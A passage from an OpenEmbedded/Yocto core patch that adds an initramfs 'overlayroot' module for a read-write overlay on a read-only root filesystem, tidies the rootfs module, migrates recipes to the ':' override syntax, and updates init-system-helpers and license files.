+ if [ "`echo $p | sed -e 's/\"$//'`" != "$p" ]; then
+ eval "bootparam_${quoted}=${value}"
+ unset quoted
+ fi
+ continue
+ fi
+
opt=`echo $p | cut -d'=' -f1`
opt=`echo $opt | sed -e 'y/.-/__/'`
if [ "`echo $p | cut -d'=' -f1`" = "$p" ]; then
eval "bootparam_${opt}=true"
else
value="`echo $p | cut -d'=' -f2-`"
+ if [ "`echo $value | sed -e 's/^\"//'`" != "$value" ]; then
+ quoted=${opt}
+ continue
+ fi
eval "bootparam_${opt}=\"${value}\""
fi
done
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/overlayroot b/meta/recipes-core/initrdscripts/initramfs-framework/overlayroot
new file mode 100644
index 0000000000..0d41432878
--- /dev/null
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/overlayroot
@@ -0,0 +1,118 @@
+#!/bin/sh
+
+# SPDX-License-Identifier: MIT
+#
+# Copyright 2022 (C), Microsoft Corporation
+
+# Simple initramfs module intended to mount a read-write (RW)
+# overlayfs on top of /, keeping the original root filesystem
+# as read-only (RO), free from modifications by the user.
+#
+# NOTE: The read-only IMAGE_FEATURE is not required for this to work
+#
+# This script is based on the overlay-etc.bbclass, which sets up
+# an overlay on top of the /etc directory, but in this case allows
+# accessing the original, unmodified rootfs at /rofs after boot.
+#
+# It relies on the initramfs-module-rootfs to mount the original
+# root filesystem, and requires 'overlayrootrwdev=<foo>' to be passed as a
+# kernel parameter, specifying the device/partition intended to
+# use as RW.
+# Mount options of the RW device can be tweaked with 'overlayrootfstype='
+# (defaults to 'ext4') and 'overlayrootfsflags=' ('defaults').
+#
+# This module needs to be executed after the initramfs-module-rootfs
+# since it relies on it to mount the filesystem at initramfs startup
+# but before the finish module which normally switches root.
+# After overlayroot is executed the usual boot flow continues from
+# the real init process.
+#
+# If something goes wrong while running this module, the rootfs
+# is still mounted RO (with no overlay) and the finish module is
+# executed to continue booting normally.
+#
+# It also has a dependency on overlayfs being enabled in the
+# running kernel via KERNEL_FEATURES (kmeta) or any other means.
+
+
+PATH=/sbin:/bin:/usr/sbin:/usr/bin
+
+# We get OLDROOT from the rootfs module
+OLDROOT="/rootfs"
+
+NEWROOT="${RWMOUNT}/root"
+RWMOUNT="/overlay"
+ROMOUNT="${RWMOUNT}/rofs"
+UPPER_DIR="${RWMOUNT}/upper"
+WORK_DIR="${RWMOUNT}/work"
+
+MODULES_DIR=/init.d
+
+# Something went wrong, make sure / is mounted as read only anyway.
+exit_gracefully() {
+ echo $1 >/dev/console
+ echo >/dev/console
+ echo "OverlayRoot mounting failed, starting system as read-only" >/dev/console
+ echo >/dev/console
+
+ # The following is borrowed from rootfs-postcommands.bbclass
+ # This basically looks at the real rootfs mounting options and
+ # replaces them with "ro"
+
+ # Tweak the mount option and fs_passno for rootfs in fstab
+ if [ -f ${OLDROOT}/etc/fstab ]; then
+ sed -i -e '/^[#[:space:]]*\/dev\/root/{s/defaults/ro/;s/\([[:space:]]*[[:digit:]]\)\([[:space:]]*\)[[:digit:]]$/\1\20/}' ${OLDROOT}/etc/fstab
+ fi
+
+ # Tweak the "mount -o remount,rw /" command in busybox-inittab inittab
+ if [ -f ${OLDROOT}/etc/inittab ]; then
+ sed -i 's|/bin/mount -o remount,rw /|/bin/mount -o remount,ro /|' ${OLDROOT}/etc/inittab
+ fi
+
+ # Continue as if the overlayroot module didn't exist to continue booting
+ . $MODULES_DIR/99-finish
+ eval "finish_run"
+}
+
+# migrate legacy parameter
+if [ ! -z "$bootparam_rootrw" ]; then
+ bootparam_overlayrootrwdev="$bootparam_rootrw"
+fi
+
+if [ -z "$bootparam_overlayrootrwdev" ]; then
+ exit_gracefully "overlayrootrwdev= kernel parameter doesn't exist and its required to mount the overlayfs"
+fi
+
+mkdir -p ${RWMOUNT}
+
+# Mount RW device
+if mount -n -t ${bootparam_overlayrootfstype:-ext4} -o ${bootparam_overlayrootfsflags:-defaults} ${bootparam_overlayrootrwdev} ${RWMOUNT}
+then
+ # Set up overlay directories
+ mkdir -p ${UPPER_DIR}
+ mkdir -p ${WORK_DIR}
+ mkdir -p ${NEWROOT}
+ mkdir -p ${ROMOUNT}
+
+ # Remount OLDROOT as read-only
+ mount -o bind ${OLDROOT} ${ROMOUNT}
+ mount -o remount,ro ${ROMOUNT}
+
+ # Mount RW overlay
+ mount -t overlay overlay -o lowerdir=${ROMOUNT},upperdir=${UPPER_DIR},workdir=${WORK_DIR} ${NEWROOT} || exit_gracefully "initramfs-overlayroot: Mounting overlay failed"
+else
+ exit_gracefully "initramfs-overlayroot: Mounting RW device failed"
+fi
+
+# Set up filesystems on overlay
+mkdir -p ${NEWROOT}/proc
+mkdir -p ${NEWROOT}/dev
+mkdir -p ${NEWROOT}/sys
+mkdir -p ${NEWROOT}/rofs
+
+mount -n --move ${ROMOUNT} ${NEWROOT}/rofs
+mount -n --move /proc ${NEWROOT}/proc
+mount -n --move /sys ${NEWROOT}/sys
+mount -n --move /dev ${NEWROOT}/dev
+
+exec chroot ${NEWROOT}/ ${bootparam_init:-/sbin/init} || exit_gracefully "Couldn't chroot into overlay"
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/rootfs b/meta/recipes-core/initrdscripts/initramfs-framework/rootfs
index ee24e82af3..e0efbe6ebe 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework/rootfs
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/rootfs
@@ -24,24 +24,13 @@ rootfs_run() {
if [ "`echo ${bootparam_root} | cut -c1-5`" = "UUID=" ]; then
root_uuid=`echo $bootparam_root | cut -c6-`
bootparam_root="/dev/disk/by-uuid/$root_uuid"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-9`" = "PARTUUID=" ]; then
+ elif [ "`echo ${bootparam_root} | cut -c1-9`" = "PARTUUID=" ]; then
root_partuuid=`echo $bootparam_root | cut -c10-`
bootparam_root="/dev/disk/by-partuuid/$root_partuuid"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-10`" = "PARTLABEL=" ]; then
- root_partlabel=`echo $bootparam_root | cut -c11-`
- bootparam_root="/dev/disk/by-partlabel/$root_partlabel"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-10`" = "PARTLABEL=" ]; then
+ elif [ "`echo ${bootparam_root} | cut -c1-10`" = "PARTLABEL=" ]; then
root_partlabel=`echo $bootparam_root | cut -c11-`
bootparam_root="/dev/disk/by-partlabel/$root_partlabel"
- fi
-
- if [ "`echo ${bootparam_root} | cut -c1-6`" = "LABEL=" ]; then
+ elif [ "`echo ${bootparam_root} | cut -c1-6`" = "LABEL=" ]; then
root_label=`echo $bootparam_root | cut -c7-`
bootparam_root="/dev/disk/by-label/$root_label"
fi
@@ -67,8 +56,8 @@ rootfs_run() {
# It is unlikely to change, but keep trying anyway.
# Perhaps we pick a different device next time.
umount $ROOTFS_DIR
- fi
fi
+ fi
fi
debug "Sleeping for $delay second(s) to wait root to settle..."
sleep $delay
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework/setup-live b/meta/recipes-core/initrdscripts/initramfs-framework/setup-live
index 4c79f41285..7e92f93322 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework/setup-live
+++ b/meta/recipes-core/initrdscripts/initramfs-framework/setup-live
@@ -1,4 +1,4 @@
-#/bin/sh
+#!/bin/sh
# Copyright (C) 2011 O.S. Systems Software LTDA.
# Licensed on MIT
diff --git a/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb
index c53a0c03ae..39ea51ccbd 100644
--- a/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb
@@ -1,10 +1,9 @@
SUMMARY = "Modular initramfs system"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
-PR = "r4"
inherit allarch
@@ -18,6 +17,7 @@ SRC_URI = "file://init \
file://e2fs \
file://debug \
file://lvm \
+ file://overlayroot \
"
S = "${WORKDIR}"
@@ -31,7 +31,7 @@ do_install() {
install -m 0755 ${WORKDIR}/rootfs ${D}/init.d/90-rootfs
install -m 0755 ${WORKDIR}/finish ${D}/init.d/99-finish
- # exec
+ # exec
install -m 0755 ${WORKDIR}/exec ${D}/init.d/89-exec
# mdev
@@ -49,6 +49,9 @@ do_install() {
# lvm
install -m 0755 ${WORKDIR}/lvm ${D}/init.d/09-lvm
+ # overlayroot needs to run after rootfs module but before finish
+ install -m 0755 ${WORKDIR}/overlayroot ${D}/init.d/91-overlayroot
+
# Create device nodes expected by some kernels in initramfs
# before even executing /init.
install -d ${D}/dev
@@ -64,9 +67,10 @@ PACKAGES = "${PN}-base \
initramfs-module-rootfs \
initramfs-module-debug \
initramfs-module-lvm \
+ initramfs-module-overlayroot \
"
-FILES_${PN}-base = "/init /init.d/99-finish /dev"
+FILES:${PN}-base = "/init /init.d/99-finish /dev"
# 99-finish in base depends on some other module which mounts
# the rootfs, like 90-rootfs. To replace that default, use
@@ -74,36 +78,40 @@ FILES_${PN}-base = "/init /init.d/99-finish /dev"
# initramfs recipe and install something else, or install
# something that runs earlier (for example, a 89-my-rootfs)
# and mounts the rootfs. Then 90-rootfs will proceed immediately.
-RRECOMMENDS_${PN}-base += "initramfs-module-rootfs"
+RRECOMMENDS:${PN}-base += "initramfs-module-rootfs"
+
+SUMMARY:initramfs-module-exec = "initramfs support for easy execution of applications"
+RDEPENDS:initramfs-module-exec = "${PN}-base"
+FILES:initramfs-module-exec = "/init.d/89-exec"
-SUMMARY_initramfs-module-exec = "initramfs support for easy execution of applications"
-RDEPENDS_initramfs-module-exec = "${PN}-base"
-FILES_initramfs-module-exec = "/init.d/89-exec"
+SUMMARY:initramfs-module-mdev = "initramfs support for mdev"
+RDEPENDS:initramfs-module-mdev = "${PN}-base busybox-mdev"
+FILES:initramfs-module-mdev = "/init.d/01-mdev"
-SUMMARY_initramfs-module-mdev = "initramfs support for mdev"
-RDEPENDS_initramfs-module-mdev = "${PN}-base busybox-mdev"
-FILES_initramfs-module-mdev = "/init.d/01-mdev"
+SUMMARY:initramfs-module-udev = "initramfs support for udev"
+RDEPENDS:initramfs-module-udev = "${PN}-base udev"
+FILES:initramfs-module-udev = "/init.d/01-udev"
-SUMMARY_initramfs-module-udev = "initramfs support for udev"
-RDEPENDS_initramfs-module-udev = "${PN}-base udev"
-FILES_initramfs-module-udev = "/init.d/01-udev"
+SUMMARY:initramfs-module-e2fs = "initramfs support for ext4/ext3/ext2 filesystems"
+RDEPENDS:initramfs-module-e2fs = "${PN}-base"
+FILES:initramfs-module-e2fs = "/init.d/10-e2fs"
-SUMMARY_initramfs-module-e2fs = "initramfs support for ext4/ext3/ext2 filesystems"
-RDEPENDS_initramfs-module-e2fs = "${PN}-base"
-FILES_initramfs-module-e2fs = "/init.d/10-e2fs"
+SUMMARY:initramfs-module-nfsrootfs = "initramfs support for locating and mounting the root partition via nfs"
+RDEPENDS:initramfs-module-nfsrootfs = "${PN}-base"
+FILES:initramfs-module-nfsrootfs = "/init.d/85-nfsrootfs"
-SUMMARY_initramfs-module-nfsrootfs = "initramfs support for locating and mounting the root partition via nfs"
-RDEPENDS_initramfs-module-nfsrootfs = "${PN}-base"
-FILES_initramfs-module-nfsrootfs = "/init.d/85-nfsrootfs"
+SUMMARY:initramfs-module-rootfs = "initramfs support for locating and mounting the root partition"
+RDEPENDS:initramfs-module-rootfs = "${PN}-base"
+FILES:initramfs-module-rootfs = "/init.d/90-rootfs"
-SUMMARY_initramfs-module-rootfs = "initramfs support for locating and mounting the root partition"
-RDEPENDS_initramfs-module-rootfs = "${PN}-base"
-FILES_initramfs-module-rootfs = "/init.d/90-rootfs"
+SUMMARY:initramfs-module-debug = "initramfs dynamic debug support"
+RDEPENDS:initramfs-module-debug = "${PN}-base"
+FILES:initramfs-module-debug = "/init.d/00-debug"
-SUMMARY_initramfs-module-debug = "initramfs dynamic debug support"
-RDEPENDS_initramfs-module-debug = "${PN}-base"
-FILES_initramfs-module-debug = "/init.d/00-debug"
+SUMMARY:initramfs-module-lvm = "initramfs lvm rootfs support"
+RDEPENDS:initramfs-module-lvm = "${PN}-base"
+FILES:initramfs-module-lvm = "/init.d/09-lvm"
-SUMMARY_initramfs-module-lvm = "initramfs lvm rootfs support"
-RDEPENDS_initramfs-module-lvm = "${PN}-base"
-FILES_initramfs-module-lvm = "/init.d/09-lvm"
+SUMMARY:initramfs-module-overlayroot = "initramfs support for mounting a RW overlay on top of a RO root filesystem"
+RDEPENDS:initramfs-module-overlayroot = "${PN}-base initramfs-module-rootfs"
+FILES:initramfs-module-overlayroot = "/init.d/91-overlayroot"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb
index 7a9a8ecae2..847dbc0472 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb
@@ -2,10 +2,9 @@ SUMMARY = "Live image init script"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
DEPENDS = "virtual/kernel"
-RDEPENDS_${PN} = "busybox-mdev"
+RDEPENDS:${PN} = "busybox-mdev"
SRC_URI = "file://init-live.sh"
-PR = "r12"
S = "${WORKDIR}"
@@ -15,7 +14,7 @@ do_install() {
mknod -m 622 ${D}/dev/console c 5 1
}
-FILES_${PN} += " /init /dev "
+FILES:${PN} += " /init /dev "
# Due to kernel dependency
PACKAGE_ARCH = "${MACHINE_ARCH}"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb
index 57b30254a6..b3b991b8fd 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb
@@ -2,10 +2,9 @@ SUMMARY = "Live image init script"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
DEPENDS = "virtual/kernel"
-RDEPENDS_${PN} = "udev udev-extraconf"
+RDEPENDS:${PN} = "udev udev-extraconf"
SRC_URI = "file://init-live.sh"
-PR = "r12"
S = "${WORKDIR}"
@@ -15,7 +14,7 @@ do_install() {
mknod -m 622 ${D}/dev/console c 5 1
}
-FILES_${PN} += " /init /dev "
+FILES:${PN} += " /init /dev "
# Due to kernel dependency
PACKAGE_ARCH = "${MACHINE_ARCH}"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb
index c03bd2d765..495eccbeda 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb
@@ -3,7 +3,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = "file://init-install-efi-testfs.sh"
-RDEPENDS_${PN} = "parted e2fsprogs-mke2fs dosfstools"
+RDEPENDS:${PN} = "parted e2fsprogs-mke2fs dosfstools"
S = "${WORKDIR}"
@@ -12,5 +12,5 @@ do_install() {
}
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install-efi.sh "
+FILES:${PN} = " /install-efi.sh "
COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb
index cc842ae8b7..e10faadfbe 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb
@@ -3,10 +3,9 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = "file://init-install-efi.sh"
-PR = "r1"
-RDEPENDS_${PN} = "parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
S = "${WORKDIR}"
@@ -20,6 +19,6 @@ do_install() {
#inherit allarch
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install-efi.sh "
+FILES:${PN} = " /install-efi.sh "
COMPATIBLE_HOST = "(i.86.*|x86_64.*|aarch64.*)-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb
index 937bfd4d38..d347e323b3 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb
@@ -3,7 +3,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = "file://init-install-testfs.sh"
-RDEPENDS_${PN} = "grub parted e2fsprogs-mke2fs"
+RDEPENDS:${PN} = "grub parted e2fsprogs-mke2fs"
S = "${WORKDIR}"
@@ -12,5 +12,5 @@ do_install() {
}
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install.sh "
+FILES:${PN} = " /install.sh "
COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb
index 48fc0c4a76..9046d06c02 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb
@@ -3,12 +3,11 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = "file://init-install.sh"
-PR = "r9"
S = "${WORKDIR}"
-RDEPENDS_${PN} = "grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
do_install() {
install -m 0755 ${WORKDIR}/init-install.sh ${D}/install.sh
@@ -20,6 +19,6 @@ do_install() {
#inherit allarch
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install.sh "
+FILES:${PN} = " /install.sh "
COMPATIBLE_HOST = "(i.86.*|x86_64.*|aarch64.*)-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb
index 523138cff3..b7499644f0 100644
--- a/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb
@@ -1,10 +1,9 @@
SUMMARY = "initramfs-framework module for EFI installation option"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} = "initramfs-framework-base parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "initramfs-framework-base parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
-PR = "r4"
SRC_URI = "file://init-install-efi.sh"
@@ -15,4 +14,4 @@ do_install() {
install -m 0755 ${WORKDIR}/init-install-efi.sh ${D}/init.d/install-efi.sh
}
-FILES_${PN} = "/init.d/install-efi.sh"
+FILES:${PN} = "/init.d/install-efi.sh"
diff --git a/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb
index 56898e824f..11db7124af 100644
--- a/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb
@@ -1,15 +1,14 @@
SUMMARY = "initramfs-framework module for installation option"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} = "initramfs-framework-base grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "initramfs-framework-base grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
# The same restriction as grub
-COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*)-(linux.*|freebsd.*)'
-COMPATIBLE_HOST_armv7a = 'null'
-COMPATIBLE_HOST_armv7ve = 'null'
+COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|loongarch64.*)-(linux.*|freebsd.*)'
+COMPATIBLE_HOST:armv7a = 'null'
+COMPATIBLE_HOST:armv7ve = 'null'
-PR = "r1"
SRC_URI = "file://init-install.sh"
@@ -20,4 +19,4 @@ do_install() {
install -m 0755 ${WORKDIR}/init-install.sh ${D}/init.d/install.sh
}
-FILES_${PN} = "/init.d/install.sh"
+FILES:${PN} = "/init.d/install.sh"
diff --git a/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb
index 4d2fe9dd2b..48a779e9aa 100644
--- a/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb
@@ -1,13 +1,12 @@
SUMMARY = "initramfs-framework module for live booting"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} = "initramfs-framework-base udev-extraconf"
+RDEPENDS:${PN} = "initramfs-framework-base udev-extraconf"
-PR = "r4"
inherit allarch
-FILESEXTRAPATHS_prepend := "${THISDIR}/initramfs-framework:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/initramfs-framework:"
SRC_URI = "file://setup-live"
S = "${WORKDIR}"
@@ -17,4 +16,4 @@ do_install() {
install -m 0755 ${WORKDIR}/setup-live ${D}/init.d/80-setup-live
}
-FILES_${PN} = "/init.d/80-setup-live"
+FILES:${PN} = "/init.d/80-setup-live"
diff --git a/meta/recipes-core/initscripts/init-system-helpers_1.58.bb b/meta/recipes-core/initscripts/init-system-helpers_1.58.bb
deleted file mode 100644
index b591f412c6..0000000000
--- a/meta/recipes-core/initscripts/init-system-helpers_1.58.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "helper tools for all init systems"
-DESCRIPTION = "This package contains helper tools that are necessary for switching between \
-the various init systems that Debian contains (e. g. sysvinit or \
-systemd). An example is deb-systemd-helper, a script that enables systemd unit \
-files without depending on a running systemd. \
-\
-It also includes the \"service\", \"invoke-rc.d\", and \"update-rc.d\" scripts which \
-provide an abstraction for enabling, disabling, starting, and stopping \
-services for all supported Debian init systems as specified by the policy. \
-\
-While this package is maintained by pkg-systemd-maintainers, it is NOT \
-specific to systemd at all. Maintainers of other init systems are welcome to \
-include their helpers in this package."
-HOMEPAGE = "https://salsa.debian.org/debian/init-system-helpers"
-SECTION = "base"
-LICENSE = "BSD-3-Clause & GPLv2"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=ee2b1830fcfead84d07bc060ec43e072"
-
-SRCREV = "6a1860c6f5ad295af605ddf588933544e7c24ce1"
-SRC_URI = "git://salsa.debian.org/debian/init-system-helpers.git;protocol=https"
-
-S = "${WORKDIR}/git"
-
-do_configure[noexec] = "1"
-do_compile[noexec] = "1"
-
-do_install() {
- install -d -m 0755 ${D}${sbindir}
- install -m 0755 ${S}/script/invoke-rc.d ${D}${sbindir}
- install -m 0755 ${S}/script/service ${D}${sbindir}
-}
-
-PACKAGES += "${PN}-invoke-rc.d ${PN}-service"
-
-FILES_${PN} = ""
-FILES_${PN}-invoke-rc.d = "${sbindir}/invoke-rc.d"
-FILES_${PN}-service = "${sbindir}/service"
-
-ALLOW_EMPTY_${PN} = "1"
-
-RRECOMMENDS_${PN} += "${PN}-invoke-rc.d ${PN}-service"
diff --git a/meta/recipes-core/initscripts/init-system-helpers_1.66.bb b/meta/recipes-core/initscripts/init-system-helpers_1.66.bb
new file mode 100644
index 0000000000..64e08aae68
--- /dev/null
+++ b/meta/recipes-core/initscripts/init-system-helpers_1.66.bb
@@ -0,0 +1,42 @@
+SUMMARY = "helper tools for all init systems"
+DESCRIPTION = "This package contains helper tools that are necessary for switching between \
+the various init systems that Debian contains (e. g. sysvinit or \
+systemd). An example is deb-systemd-helper, a script that enables systemd unit \
+files without depending on a running systemd. \
+\
+It also includes the \"service\", \"invoke-rc.d\", and \"update-rc.d\" scripts which \
+provide an abstraction for enabling, disabling, starting, and stopping \
+services for all supported Debian init systems as specified by the policy. \
+\
+While this package is maintained by pkg-systemd-maintainers, it is NOT \
+specific to systemd at all. Maintainers of other init systems are welcome to \
+include their helpers in this package."
+HOMEPAGE = "https://salsa.debian.org/debian/init-system-helpers"
+SECTION = "base"
+LICENSE = "BSD-3-Clause & GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=c4ec20aa158fa9de26ee1accf78dcaae"
+
+SRCREV = "a5439f465dc1d1d4e12329208dc321fb806009f4"
+SRC_URI = "git://salsa.debian.org/debian/init-system-helpers.git;protocol=https;branch=master"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))(?!_exp)"
+
+S = "${WORKDIR}/git"
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+do_install() {
+ install -d -m 0755 ${D}${sbindir}
+ install -m 0755 ${S}/script/invoke-rc.d ${D}${sbindir}
+ install -m 0755 ${S}/script/service ${D}${sbindir}
+}
+
+PACKAGES += "${PN}-invoke-rc.d ${PN}-service"
+
+FILES:${PN} = ""
+FILES:${PN}-invoke-rc.d = "${sbindir}/invoke-rc.d"
+FILES:${PN}-service = "${sbindir}/service"
+
+ALLOW_EMPTY:${PN} = "1"
+
+RRECOMMENDS:${PN} += "${PN}-invoke-rc.d ${PN}-service"
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/GPLv2.patch b/meta/recipes-core/initscripts/initscripts-1.0/GPLv2.patch
deleted file mode 100644
index 1ee8181f12..0000000000
--- a/meta/recipes-core/initscripts/initscripts-1.0/GPLv2.patch
+++ /dev/null
@@ -1,347 +0,0 @@
-Upstream-Status: Inappropriate [licensing]
-
-diff --git a/COPYING b/COPYING
-new file mode 100644
-index 0000000..d511905
---- /dev/null
-+++ b/COPYING
-@@ -0,0 +1,339 @@
-+ GNU GENERAL PUBLIC LICENSE
-+ Version 2, June 1991
-+
-+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
-+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-+ Everyone is permitted to copy and distribute verbatim copies
-+ of this license document, but changing it is not allowed.
-+
-+ Preamble
-+
-+ The licenses for most software are designed to take away your
-+freedom to share and change it. By contrast, the GNU General Public
-+License is intended to guarantee your freedom to share and change free
-+software--to make sure the software is free for all its users. This
-+General Public License applies to most of the Free Software
-+Foundation's software and to any other program whose authors commit to
-+using it. (Some other Free Software Foundation software is covered by
-+the GNU Lesser General Public License instead.) You can apply it to
-+your programs, too.
-+
-+ When we speak of free software, we are referring to freedom, not
-+price. Our General Public Licenses are designed to make sure that you
-+have the freedom to distribute copies of free software (and charge for
-+this service if you wish), that you receive source code or can get it
-+if you want it, that you can change the software or use pieces of it
-+in new free programs; and that you know you can do these things.
-+
-+ To protect your rights, we need to make restrictions that forbid
-+anyone to deny you these rights or to ask you to surrender the rights.
-+These restrictions translate to certain responsibilities for you if you
-+distribute copies of the software, or if you modify it.
-+
-+ For example, if you distribute copies of such a program, whether
-+gratis or for a fee, you must give the recipients all the rights that
-+you have. You must make sure that they, too, receive or can get the
-+source code. And you must show them these terms so they know their
-+rights.
-+
